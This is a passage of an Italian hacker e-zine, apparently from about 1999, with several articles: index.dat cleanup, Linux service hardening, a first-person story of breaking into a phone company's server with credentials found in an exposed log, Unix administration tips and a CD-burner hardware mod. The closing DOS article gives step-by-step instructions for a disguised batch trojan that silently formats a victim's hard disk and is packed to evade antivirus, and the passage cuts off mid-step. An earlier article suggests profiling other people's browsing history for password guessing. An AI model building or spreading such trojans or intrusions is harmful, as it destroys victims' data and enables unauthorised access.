(succede!!!) e volete cancellare il contenuto della dir C:\WINDOWS\TEMPORARY INTERNET FILES quindi non andateci dentro con explorer o con gestione risorse ma fate un bel trova e cancellate file e directory. Sperando che cio' vi possa essere utili vi lascio con una cosa che mi disse un hacker moooooooolto tempo fa quando bo non sapevo neanche che fosse e unix credevo fosse un marca di dentifricio...."Prova e riprova e se va male... tenta ancora". Un'altra cosa che vi devo dire...non cancellate il file index.dat anke perche' non si puo' cancellare (almeno non direttamente...) ma cmq se fate il Trova vedrete che ve lo mette prima delle 4 famose dir che cambiano nome ogni volta che le cancellate (ma se dico caxxate mailatemi x correggermi ed aiutare me e tutti gli altri lettori) e dei centinaia di file restanti dai ns giri in rete...cosa strana ma utile cosi' selezionate dalla 1a dir all'ultimo file e cancellate tutto il cancellabile e tutto cio' che non e' ne vitale ne minimamente importante (x non parlare dei cookies poi...). Ad un esame + attento del file index.dat aperto con l'editor di dos (con wordpad non si apre xche' dice che il file e' in uso e quindi bisogna ricorrere al buon vecchio edit con il quale faccio anke la e-zine tra l'altro...) sono riuscito a dedurre che all'interno vi sono registrati tutti gli url da noi visitati ultimamente (ci voleva tanto...) e vi e' un vero e proprio index (indice x quelli che con l'inglese ci fanno a pugni) e oltre agli url (utili se si vuole conoscere gli interessi di una persona...x poi provare a bucare le sue pass con le liste di password adatte (musica, macchine, fantasy, rpg etc). Ricordate che nulla e' inutile se preso da un altro pc (non aggiungo "non nostro" xche' spero ci siate arrivati...eheheheh). Da un okkiata ankora + a fondo, e premesso che non so crackare e so programmare mooooolto poco, ho visto che il file INDEX.DAT si divide in 2 parti la prima, che occupa la prima parte del file, contiene tutta una serie di url che o abbiamo visitato o se li e' inventati il vs uindos (eheheh), mentre nella seconda parte si vedono, sempre tra simboletti di cui non capisco una k, degli schemetti x ogni file contenuto nella dir principale o in una delle 4 sottodir nascoste dal ns amico Bill. Lo schema si presenta a questo modo (lo riporto x intero e poi ne "analizzo" le voci: http://members.xoom.com/miosito/immagine.gif immagine.gif HTTP/1.1 200 OK ETag: "28a0a1-37f-3684d70d" Content-Length: 895 Keep-Alive: timeout=15 Content-Type: image/gif http://members.xoom.com/miosito/immagine.gif --> (occorre spiegarlo? vabbe....e' l'url...) immagine.gif HTTP/1.1 200 OK --> (qui viene riportato il nome dell'immagine e la versione dell'HTTP) ETag: "28a0a1-37f-3684d70d" --> (questo probabilmente e' un codice che ie assegna a tutti i file scaricati) Content-Length: 895 --> (lunghezza del file) Keep-Alive: timeout=15 --> (non so...potrebbe essere il tempo che ci ha messo ie a raggiungerlo o a --> salvarlo nella cache non so...) Content-Type: image/gif --> (questo e' il tipo di file che troviamo anke andando in gestione risorse, --> visualizza, opzioni cartella, tipo file e dopo cercate RealMedia File o cmq --> qualke altro tipo di file che abbia visualizzato qualcosa sotto, mentre si --> scorre la lista dei tipi di file, nel campo "Contenuto (MIME):". Se --> andiamo a vedere come vengono "schedati" nell'index.dat i file htm o html --> vedremmo che in questo campo e' riportato "text/html") Adesso che sapete di + sul vostro index.dat mi direte...e che ce frega a noi de sape sta roba....e io vi rispondero'...e che ne so io scrivo solo...hihihihi. Byez da me che sono N0bodY88 e ricordate che "Conoscenza e' potere" e non dimenticate che "Un gg in cui non hai imparato nulla e' un gg perso" *************** * _-_ * * /___\ /^\ * * ø|*_*|ø | * * \ / | * * >---|---<| * * | | * * _/ \_ [|] * *************** ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SICUREZZA E LINUX +++++++++++++++++++++++++++++++++++++++++++++++ by [mAx] +++ Introduzione ---------------L'argomento che ho intenzione di trattare (Linux) ha una caratteristica che mi sembra giusto ricordare. Ha la piu' vasta e IMHO migliore documentazione che sia mai stata scritta per un programma e/o SO (Sistema Operativo). Non preoccupatevi non ho intenzione di concludere adesso e dirvi "andate e leggetevi i manuali" pero' credo che la cosa migliore che posso fare sia quella di illustrarvi quali sono gli argomenti per cui sarebbe meglio (ai fini della nostra sicurezza) documentarsi un po'. Sono certo al 100% che se cercassi di spiegare qualcosa io non riuscirei a rendere nemmeno un decimo di un HOWTO o una man page. Scrivo questo pezzetto perche' anche io appena ho installato Linux mi son trovato con "qualche" domanda e spero cosi' di poter rispondere ad alcune delle vostre. Allora com'e' andata l'installazione? Tutto a posto e ora..... Proviamo a vedere se il pinguino ci puo' far volare sopra ai navigatori che hanno scelto il male (B.G.). Allora visto che il KDE ormai ce l'avete tutti e a volte l'utility per la connessione funziona :-) non mi dilungo e passo a quello che dovrebbe essere l'argomento principale di questa manciata di byte. Per cominciare si puo' provare a fare un bel netstat. || netstat || Penso che voi tutti possiate immaginare lo scopo di questo tool. Digitate al prompt della shell netstat -a e scoprirete tutte le porte che avete in ascolto. A noi interessano le linee sotto alla dicitura "Active Internet connections". In questo modo, come nel netstat di Win, vediamo le connessioni attive e le porte in ascolto (LISTENING). Se volete avere le stesse informazioni ma vi interessa sapere l'ip e il numero di porta allora bisogna aggiungere l'opzione -n. Senza questa opzione netstat cerca di risolvere gli ip e mette la dicitura che trova nel file /etc/services al posto del numero della porta. Se avete fatto come me (e credo come molti) e avete installato Apache, FTP server, sendmail e altra roba allora ne vedrete un bel po'. Personalmente ritengo utile installare diversi servizi sulla propria linux-box per diventare abili nello sfruttarne i bug (pero' e' meglio disattivarli quando non servono +). || inetd || In poche parole questo demone gestisce tutte (o quasi) le porte in ascolto sul vostro pc al posto dei singoli servizi. Quando da un client giunge una richiesta al nostro server, inetd che ascolta la richiesta richiama il servizio in questione. Le porte sulle quali questo demone deve mettersi in ascolto sono specificate nel file /etc/inetd.conf, il suo file di configurazione insieme ad altri parametri come il tipo di protocollo e il server da richiamare. Questo file ci permette di scegliere quali porte vogliamo tenere aperte e quali no (solo per i servizi gestiti da inetd). Se apportate delle modifiche a questo file per renderle effettive basta lanciare un "kill -HUP pid" dove pid e' il numero del processo inetd (le virgolette non ci vogliono). Analizziamo ora come e' fatto il nostro file di configurazione. Le porte non sono riportate in forma numerica ma con il nome del servizio e per conoscerne l'equivalente numerico (es ftp --> 21 ) basta consultare il file /etc/services. Alcuni servizi vengono gestiti direttamente da inetd e al posto del nome del server troviamo la parola riservata internal. Personalmente credo che ci siano molti servizi che vengono abilitati durante il setup e l'installazione che non sono di nessuna utilita' e quindi tenere aperte alcune porte come echo, netstat, finger, time, discard, chargen e' inutile se non rishiso. Per non avviare piu' un servizio basta commentare con il carattere '#' l'inizio della linea nella quale viene dichiarato. Uno dei parametri che vengono specificati per ogni servizio e' l'utente con il quale il relativo server viene avviato. Per motivi di sicurezza e' meglio avviare come utente root soltanto un servizio che ne ha veramente bisogno. || tcpd || Poco sopra ho scritto che inetd richiama, quando gli viene richiesto, un server per ogni servizio. Quanto ho detto e' in parte falso in quanto molti servizi non vengono richiamati direttamente da inetd ma la richiesta passa per il tcpd. Questo secondo demone si occupa di fare qualche controllo sul client che richiede il servizio in questione migliorando la sicurezza di inetd che praticamente e' nulla. Il tcpd controlla l'indirizzo dal quale proviene la richiesta del servizio e decide se accettare o meno in base alle istruzioni contenute in due files : /etc/hosts.allow e /etc/hosts.deny Ogni richiesta comunque viene segnalata al syslogd e quindi loggata. Le istruzioni che si possono specificare nei due file di configurazione sono di vitale importanza e quindi e' meglio che le andate a vedere sulla man page che vi spiegera' ogni trucco per settare al meglio il tcpd : man hosts_access A grandi linee nei due file si specificano i servizi che si possono o non si possono (dipende se stiamo guardando hosts.allow o hosts.deny) avviare da un certo host. Se volete un consiglio (e forse questo e' il motivo per cui state leggendo ;) ) mettete nel file hosts.deny un riga come questa : ALL : ALL che nega l'accesso a tutti i servizi da tutti gli hosts a meno che non siano eplicitamente citati in hosts.allow. || ftpd || Nel numero precedente di Newbies un articolo di T0rment0 spiega come gestire un server ftp anonimo. Puo' succedere che il server che il programma di installazione di linux ci ha cortesemente montato non sia di nostro gradimento; in questo caso basta commentare una riga nel file di configurazione di inetd. Nel caso in cui noi invece volessimo sfruttare il server allora bisogna fare attenzone ai problemi di sicurezza che nascono. Accedendo come un utente del nostro pc si hanno a disposizione tutte le directory del nostro disco, non viene cioe' eseguito il chroot [ almeno questo accade con le opzioni di default ] e cio' consente a chi e' in possesso di un login con relativa password di spassarsela sul nostro pc. Un modo per evitare questo e' specificare quali utenti devono essere soggetti al chroot nel file /etc/ftpchroot. Comunque la man page dell'ftp demon e' abbastanza chiara per quanto concerne la sicurezza di un ftp-server quindi man ftpd e in ogni caso non lasciate dei dati importanti nelle directory che possono essere lette anche in caso di login anonimo. || httpd (Apache) || Questo e' il primo caso di server standalone che vediamo. Standalone significa che il demone httpd e' indipendente da inetd e che e' lui in prima persona a rimanere in ascolto sulla sua porta (80) in attesa di connessioni. Quando installate Apache vi ritrovate con 3 file da configurare; la directory in cui si trovano puo' variare, io ad esempio ce li ho in /ver/lib/httpd/conf : access.conf, httpd.con e srm.conf. Configurando per bene questi file si riesce a far capire al nostro server in quali directory puo' scorrazzare e in quali no. Comunque la cosa piu' importante e' sbarazzarsi dei cgi di prova che il server ha messo in cgi-bin in quanto potrebbero essere fonte di guai. Se il server http non lo volete allora bisogna andare a cercare il file che lo esegue per commentare la linea in cui viene eseguito. Generalmete questo file si trova in /etc/rc.d o una sua sottodirectory. || rpc e portmapper || Dovendolo spiegare brevemente posso dire che le rpc (Remote Procedure Call) sono un insieme di applicazioni remote. Senza entrare nei dettagli vi dico che per poter funzionare hanno bisogno del portmapper che e' un demone che informa il client dandogli il numero della porta sulla quale potra' trovare il servizio richiesto. Questo perche' i servizi rpc non hanno un numero di porta riservato. Il portmapper e' un altro esempio di servizio autonomo (standalone) cioe' che non viene lanciato da inetd ma sta in ascolto sulla sua porta (111) aspettando richieste. Adesso non ho intenzione di approfondire questo argomento soprattutto perche' non ha alcun interesse per chi non ha una rete locale e quindi e' meglio disabilitare il portmapper che puo' essere un'altra fonte inopportuna di informazioni riguardanti il nostro computer. Per farlo dovete andare nella directory in cui ci sono i file di configurazione letti all'avvio della macchina. Questa e' una di quelle cose che varia da una distribuzione all'altra; generalmente sono sotto /etc/rc.d. Spero comunque che voi sappiate dove sono i vostri. ;) Una volta trovato il file giusto cancellate o commentate (meglio) la riga in cui vengono avviati il demone rpcd e il portmapper. The End ---------------Non mi stanchero' mai di dirlo. Questo articoletto deve essere visto come una lista della spesa (che orribile paragone) .... un elenco di cose sulle quali documentarvi; non potete accontentarvi del poco che c'e' scritto qui. Leggete le man pages di tutti i comandi e demoni che ho citato, leggetevi gli Appunti Linux di Daniele Giacomini, leggetevi gli HOWTO e le guide. Per tutte queste cose il sito e' uno solo..... PLUTO ( http://www.pluto.linux.it/ ). Tutta la documentazione e' nelle pagine dell'ILDP (ovviamente in italiano). Questo e' quanto. Il [mAx] vi saluta tutti (belli e brutti). Un saluto particolare a tutti quelli che ho incontrato al Futurshow e a quelli che ci sarebbero voluti venire ;-) Per i complimenti, bonifici bancari o donazioni : [email protected] Per insulti vari : /dev/null ;-) ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ UNA STORIA SULLA TELEKOZZ ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ -----------------------------------------------------------------------:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: -----------------------------------------------------------------------LO SAPEVATE CHE TRAMITE UNA HOME PAGE SI PUO' ENTRARE DIRETTAMENTE DENTRO IL DATABASE E SERVER DELLA NOSTRA MAMMA DI CUI LA MAGGIOR PARTE DEGLI ITALIANI NE E' COLLEGATA TRAMITE CAVO TELEF...SCUSATE OMBELLICALE ? Forse lo sapete gia' , ma non mi importa visto che non lo sapevo io e che forse puo' interessare a qualcuno . Una piccola storia da me' vissuta , senza basi tecniche da poter sviluppare sui diversi sistemi , ma con degli indizzi . Bene iniziamo....... " Erano all'incirca le 23:00 , in compagnia di amici mentre si parlava di tecniche riguardanti l'hacking e il phreaking , tutto accompagnato da una scorpacciata di curiosita' nella rete di internet . Navigando qua' e la' siamo arrivati alla parola Mamma . Spero mi abbiate capito riguardo la parola Mamma , per chi non lo avesse capito si prenda tra le mani l'elenco telefonico. Bene a chi Š mai venuto in mente di entrare nel server della "mamma" ? ......credo un po' a chiunque , molti ci hanno solo pensato e non hanno mai voluto provare , alcuni credo ci abbiano provato, molti e la maggior parte (avendone sentite molte) hanno detto una marea di cazzate . Comunque giravamo sempre in internet con la mente rivolta sempre su di essa, ......girando sempre nei suoi paraggi sono riuscito a trovare un sito che apparteneva ad un tizio e quando sono entrato mi ha dato l'errore : Your IP address (xxx.xxx.xxx.xxx) is not authorized to access . Cosa c'era in quel sito per darmi un errore cos• ? .......... La curiosita' si faceva sempre piu' forte .Il tipo non ho ancora capito cosa rappresenta all'interno della mamma .........un sysop , un ragioniere , un venditore..........bho', la cosa che ho notato e che ha diversi siti e tutti si collegano tra di loro . Voi direte che cosa c'entra questo tipo con il server della mamma ?....a questo non so' darvi una risposta adeguata , ma so' solo che tramite questo tipo sono arrivato ad un file di log appartenente ad essa.......andiamo con calma. Cercando informazioni e provando infinite volte sono riuscito ad entrare... (non vi dico tutto quello che ho fatto per recuperarmi un IP giusto , quindi se mi dovreste incontrare nei canali irc non chiedetemelo )iniziavo a rilassarmi , avevo superato l'errore "......is not authorized to access ." che bello!!!! La pagina e' bianca con delle scritte nere ,ci sono documenti tecnici , numeri di telefono e fax , nome e cognome del tipo e due caselle con delle scritte dove ci potevi clickare sopra . Clicko sulla prima e cosa appare? Un bella scatoletta grigia con " inserire login e password " . Provo un login e pass a caso (come faccio di solito per vedere se la fortuna mi sta' accanto qualche volta ) , ma con tutta la sfiga che ho ......... immaginatevi cosa e' accaduto..." Error..........." Ihihihih...sempre cos• . Va bene lo stesso . Prima di fare qualcos'altro clicko nella seconda casella alla ricerca di altre info ( volevo capire di cosa si trattava). Appare un'altra pagina con altre informazione e una casellina piccola piccola verso il basso , mi leggo tutte le info e clicko sulla casellina.........e cosa appare ? TARATTATA..... il grande file di log. C'era di tutto , ho visto delle pass , dei login , "il mio ip"(ihihihih) di quando avevo provato la prima volta . xx/xx/1999 02:26:31 [NULL] xxx.xxx.xxx.xxx xxxxxxxx.xxx.it CGI/1.1 [NULL] xxxx/4.0 (compatible; MSIE 4.01; xxxxx) http://xxxxx.xx.xx/xxxx/ [NULL] l'idea di mettere le " x " Š stato di body (il mio cane ), ha detto che non si fidava! Vado subito a provare le pass e i login che avevo trovato (speravo sempre nella fortuna )..... finalmente la fortuna mi assiste.......evoila' la pass funge , per la cronaca login uguale alla pass , tipico sbaglio italiano. Appare un'altra pagina con poche scritte e due caselle . Una con su scritto : -DatabaseEntro e mi illumino quando vedo la scritta "Server Mamma italia net " e "Sever Database Mamma italia net " . Qualsiasi strada prendessi oramai avevo le porte aperte . Tramite il web sono riuscito ad entrare dentro il server e tutto quello che mi e' servito e' stato solo un IP e un file di log trovato con un po' di fortuna , sicuramente esistono altri modi per farlo anzi e' sicuro , con diversi metodi , diverse tecniche ma quello che vi voglio far capire ...................Š stata tutta una questione di CULO!!!! Volete l'indirizzo ??...........ehehe vi do' un aiuto a cercarvelo , l'indirizzo da cui sono arrivato io inizia con tel........ ci si puo' arrivare da diversi siti che non c'entrano un cazzo con la mamma ma c'entrano con il tizio e ripeto non capisco ancora il perche'........ tipo geocities e tripod ....... L'ultima cosa . quando giravo dentro i siti che mi negavano l'accesso ho tenuto sempre l' IP magico......ehehe _____________ ||-----------|| || || || ******** || ||___________|| ||___________|| StuZzik0 & |bLeaH| -----------------------------------------------------------------------:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: -----------------------------------------------------------------------ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ AMMINISTRAZIONE AVANZATA DI UN SISTEMA UNIX ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ by tetofuck Vi chiederetŠ perchŠ un grande come me si sia ridotto a scrivere per una zine di newbiez ... beh innanzitutto Š dai vecchi volumi americani che non scrivo, e non ho mai scritto per una zine italiana , inoltre bisogna ricordare che newbiez non Š un termine dispreggiativo e non bisogna associarlo , come invece fanno in molti , a lamer ... Tutti noi hackers siamo stati newbiez . Today vedremo qualke punto dell'amministrazione generale avanzata di un sistema unix : un po' facilitata apposta per voi eheheh Aspettate un secondo che faccio partire la conversione degli mp3 a waves a cd ... ECCO : posso inizare . Innanzitutto un saluto a RafCrash , MAN5ON , Mene e Supercaz , miei compaesani . Oggi analizzeremo vari punti quali determinazione dell'utilizzo della CPU , top compreso , le dimensioni opportune dello swap e la modifica delle propriet… dei processi . /*-/*-/-*/-*/-* DETERMINAZIONE DELL'UTILIZZO DELLA CPU *-/*-/*-/*-/*-/*-/ Ecco la sintassi principale del comando che fornisce diversi dati sul l'utilizzo corrente della CPU : $ vmstat intervallo [conteggio] intervallo Š il numero di secondi tra i report e conteggio Š il numero totale dei report da fornire . Per determinare il grado dell'utilizzo della CPU sar… necessario analizzare le ultime tre righe dell'output di vmstat ovvero us , sy e id che rispettivamen te indicano la perc. dei cilci CPU per eseguire i task dell'utente , quelli per eseguire i task del sistema e quelli non utilizzati ovvero il tempo di inattivit… del sistema . ( cazzo dovr… anche riposarsi eh ! ) Non allarmatevi se vedete le perc. alte , se per• persistono per lungo tempo ...beh allora iniziate a preoccuparvi . Provate magari a vedere se Š un problema di memoria guardando attentamente le colonne memory e swap. Un altro metodo per l'identificazione dei problemi Š TOP anzi top ( se sapete il perchŠ siete davvero newbiez se no siete stupidi lamerz-la risposta al termine dell'articolo ) Tale comando mi piace molto in quanto mi permette di controllare la CPU in tempo normale - eh cara CPU ora non mi sfuggi troietta ! Aspe che mi faccio una canna ... Ok continuiamo , per vedere i significati dei vari campi fate man top ...ormai dovreste saperlo . /-*/-*/*-/*-/-*/-*/*-/-*/DIMENSIONI OPPORTUNE DELLO SWAP*-/-*/*-/-*/-*/-*/*-/-*/ a cura di RafCrash tetofuck mi ha kiesto di fargli questa sotto-sezione e io ho accettato , spero non vi rompa ( anzi non me ne frega un cazzo ;D ) su IRC un sacco di gente mi kiede sempre quanto deve mettere come area SWAP ? Alcuni dicono siano necessari il doppio di megabyte di quanta ram si ha , ma io replico : cazzo io ke ho 260 mega di RAM devo avere la partizione SWAP di mezzo giga ? ma vaffanculo ! Beh se avete 16 mega circa di RAM 30/32 mega vanno bene se no dovete vedere le vostre esigenze , la velocit… della cpu e quante applicazioni volete eseguire contemporaneamente. In alcuni casi quindi non Š addirittura necessaria la partizione ... per voi aspiranti hackers cmq ve la consiglio vivamente . Byez all /*-/*-/*-/-*/-*/-*/*-/MODIFICA DELLE PRIORITA' DEI PROCESSI/*-/*-/*-/-*/-*/-*/ Dopo la breve parentesi di Raf , torno io. Se i processi fanno le bizze la soluzione consiste nell'alterare la priorit… dei processi col comando renice. Digitando il comando ps -l viene visualizzato il valore di nice dopodichŠ lo modificherete usando il comando renice . Non serve che vi dica che collegamenti pu• avere con l'hacking , vero ? Un saluto a tutti by tetofuck ( the best ) ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ COME OVERCLOCKARE IL NS. AMATO MASTERIZZATORE ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Il nostro masterizzatore e' un Traxdata CDRW-2260 PRO (scsi) 2x2x6. Aprendolo abbiamo verificato che e' uno Yamaha 2260 (Rev.C ) di Marzo '98. Sigla sulla scheda: Yamaha Rev.C XT-948. Bisogna cercare la resistenza R621.....e' una parola!!!!! avete visto quante ce ne sono li sopra.... Allora intanto...... Io ho operato nella maniera seguente: Ho svitato prima le 4 viti nere-marroni che fissano lo chassis sulla scheda che vi e' dentro, poi ho svitato le altre 2 vitarelle di acciao che tengono insieme lo chassis. Ho scoperchiato e mi sono trovato davanti ad una scheda verde piena di chips e di resistenze microscopiche. Ho verificato la scritta riportata sulla scheda: "YAMAHA" e in un quadratino la C (la Rev. C). Allora ho capito che era veramente uno Yamaha 2260. E' inutile cercare la resistenza R621 qui', essa si trova dall'altra parte della scheda. Bisogna svitare un'altra vite nero-marrone (piu' corta delle precedenti) posta esattamente al centro della scheda. E qui' viene la parte piu' difficile... bisogna levare la scheda per girarla. Ecco come procedere per evitare casini (io l'ho smontato almeno 10 volte prima di trovare l'ordine ideale delle operazioni). Intanto facciamo ruotare il masterizzatore in modo tale che gli attacchi dell'alimentazione dello scsi ecc. si trovino in basso (ovvero a "SUD", cioe' vicino a noi). L'ordine e' : 1-Staccare il connettore BLU dell'alimentazione del motorino del masterizzatore (ha 2 fili uno nero e uno rosso), levare il nastro adesivo NERO che vi e' sopra, questo si trova nella parte del frontalino le masterizzatore . 2- Piu' in basso verso il centro c'e' un attacco bianco sporco al quale e' collegato un cavo piatto largo 1 cm, staccarlo. 3- In basso a destra c'e' un'altro attacco bianco al quale sono collegati dei fili BIANCHI e uno marrone tenuti da un nastrino adesivo sulla scheda. Alzare il nastrino per liberare i cavetti. Sotto al nastrino noterete la scritta Yamaha XT-948.NON e' necessario staccare questo attacco (anche perche' e' durissimo e si rischia di romperlo). 4- Questa e' una fase delicata, alzare lentamente la scheda (dalla parte dell'attacco SCSI) tirandola verso di voi e verso sinistra, insomma facendola ruotare intorno all'angolo alto sinistro della scheda (quello dove c'e' l'attacco delle cuffiette). Noterete che sotto la scheda c'e' un altro cavo piatto sganciatelo dall'attacco agendo dalla parte sinistra (e' difficile lo so' ma ci si riesce con un po' di pazienza). Noterete anche che in alto a sinistra c'e' un'appendice metallica che "va giu", essa e' semplicemente accostata al telaio e non e' collegata a niente. Quindi ora mentre con la mano destra tentate di tirare verso di voi la scheda alzandola, con il pollice sinistro agite sul centro-sinistra del bordo del frontalino e fate scavallare la scheda ... inistete un pochino e VOILA' tolta la scheda. 5- Fatela girare (come se sfogliaste una pagina di libro). Troverete di nuovo la scritta Yamaha XT-948. La Resistenza R621 si trova sul lato sinistro in basso a 4 cm dal bordo basso della scheda. Accanto c'e' scritto Q/D (doppia o quadrupla probabilmente). Fate togliere la resistenza da qualcuno che ha un saldatore ad aria calda. E in meno di 5 minuti avrete un 4260PRO. 6- Richiudete tutto seguendo la procedura all'incontrario, facendo molta attenzione a RIPOSIZIONARE I DUE INTERRUTTORI( posti in alto al centro-destra della scheda girata) (Sono quelli che hanno le 2 "mollette" attaccate) TRA IL PERNO DI PLASTICA CHE SPORGE DAL MASTERIZZATORE (i 2 interruttori controllano l'apretura e la chiusura del carrello del masterizzatore) (spostando il perno verso destra e spingendo un pochino seza fare forza come dei bruti vedrete che il carrello si aprira', e' proprio con il CARRELLO APERTO che conviene riposizionare la scheda) . Prima di riavvitare la vite centrale mettete in posizione verticale il masterizzatore (prima con il frontalino in giu' poi in su') ASCOLTATE la corsa, e verificate che il cavo piatto che si trova sotto abbia la possibilita' di SCORRERE! Richiudete tutto e il gioco e' fatto!!! La scheda SCSI vi riconoscera' un TRAXDATA 4260PRO e in WIN ON CD vi sara' abilitata la voce 4x, chiedete pure le informazioni sul masterizzatore vi dira' che e' un Traxdata 4x. QUESTA E' STATA LA MIA ESPERIENZA, FATTA CON UN TRAXDATA 2260PRO (NON il PLUS che quello e' un PHILIPS). CONSIGLI ATTENZIONE sulla Rev.C, FUNZIONA con firmware 1f o piu' vecchi. CHE SIA CHIARO : NON MI ASSUMO NESSUNA RESPONSABILITA' Buon diverimento... ciaoz a tuttiz by brusto! X CHI MI VOLESSE CONTATTARE QUERY ME SU IRC O ICQ... ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ TRUCCHI SU DOS ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Siete uno di quei tipi che la prima volta che ha fatto un file .bat ci ha scritto dentro: format c: e l'ha dato al migliore amico dicendo che era sextetris? E che magari quando l'amico ha scoperto tutto gli avete detto che il dischetto era infettato? Se si allora DOVETE leggere questo articolo nel quale imparerete a formattare il disco duro di chiunque in solo 814 byte!!! ;))) Dovete sapere che una volta che fate un file .bat con dentro la parola format e poi lo eseguite vi verra' richiesta la conferma, per evitare cio' la Microsoft ha inserito nel file "format.com" un piccolo comando non documentato cioe' "/autotest", infatti se scrivete un file batch con dentro "format /autotest" l'hdd della vittima verra' formattato senza chiedere conferma, ma realizziamo uno di questi pseudo-virus. Create un file .txt e chiamatelo ad esempio Gargamella.txt, apritelo e scriveteci dentro: format c: /autotest salvatelo e rinominatelo come .bat, NON lo avviate!!! Ora voi vorreste dare il file a qualcuno, ma il nostro Pseudo-virus ha un bug, se togliete "/autotest" e lo avviate vedrete che viene scritto sul monitor "format c:", per evitare cio' riscrivete il file come vi dico: @format c: /autotest la @ nascondera' l'echo a schermo del comando, in parole povere non si vedra' niente di niente. L'unico problema e' che se il tipo ha un minimo di conoscenza in campo informatico, andra' sicuramente ad esaminare il file senza eseguirlo. Per evitare che cio' accada procurati sul sito di un certo Quequero (http://quequero.cjb.net) l'utility "bat2com", un programmillo di pochi byte che serve a convertire un file .bat in uno .com. Se avete scaricato il file copiatelo in c:\windows\command andate al prompt del dos e scrivete: bat2com Gargamella.bat e lui vi convertira' il file, ma manca solo un ritocco, se voi guardate il file, vedrete che e' piccolissimo, solo 814 byte, per farlo diventare + grosso andate sempre al caro promp di dos e scrivete: DEBUG FILEVUOTO <-File non trovato -f 100,F000,0 <--rcx <-:0000 EA50 <--w <-Scrittura di EA50 bytes in corso... -q <-- noi noi noi ;cosi' scrive un file pieno di ;zeri noi noi noi in questo modo creerete un file completamente vuoto e pieno di zeri da attaccare al vostro file Gargamella.com in questo modo: c:\>copy /b gargamella.bat+command.com addio.com questo procedimento noto ai piu' a me non funziona assolutamente, non so perche' ma per farlo andare ho dovuto riempire il file .bat con decine e decine di righe di questo genere: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx e' anche vero che con copia e incolla ci sono voluti 15 secondi, pero' il dubbio resta. Poniamo il caso che siamo riusciti a ingrandire il file, ora dobbiamo comprimerlo affinche' gli antivirus non ne possano rilevare la presenza, per far cio' dovremo usare 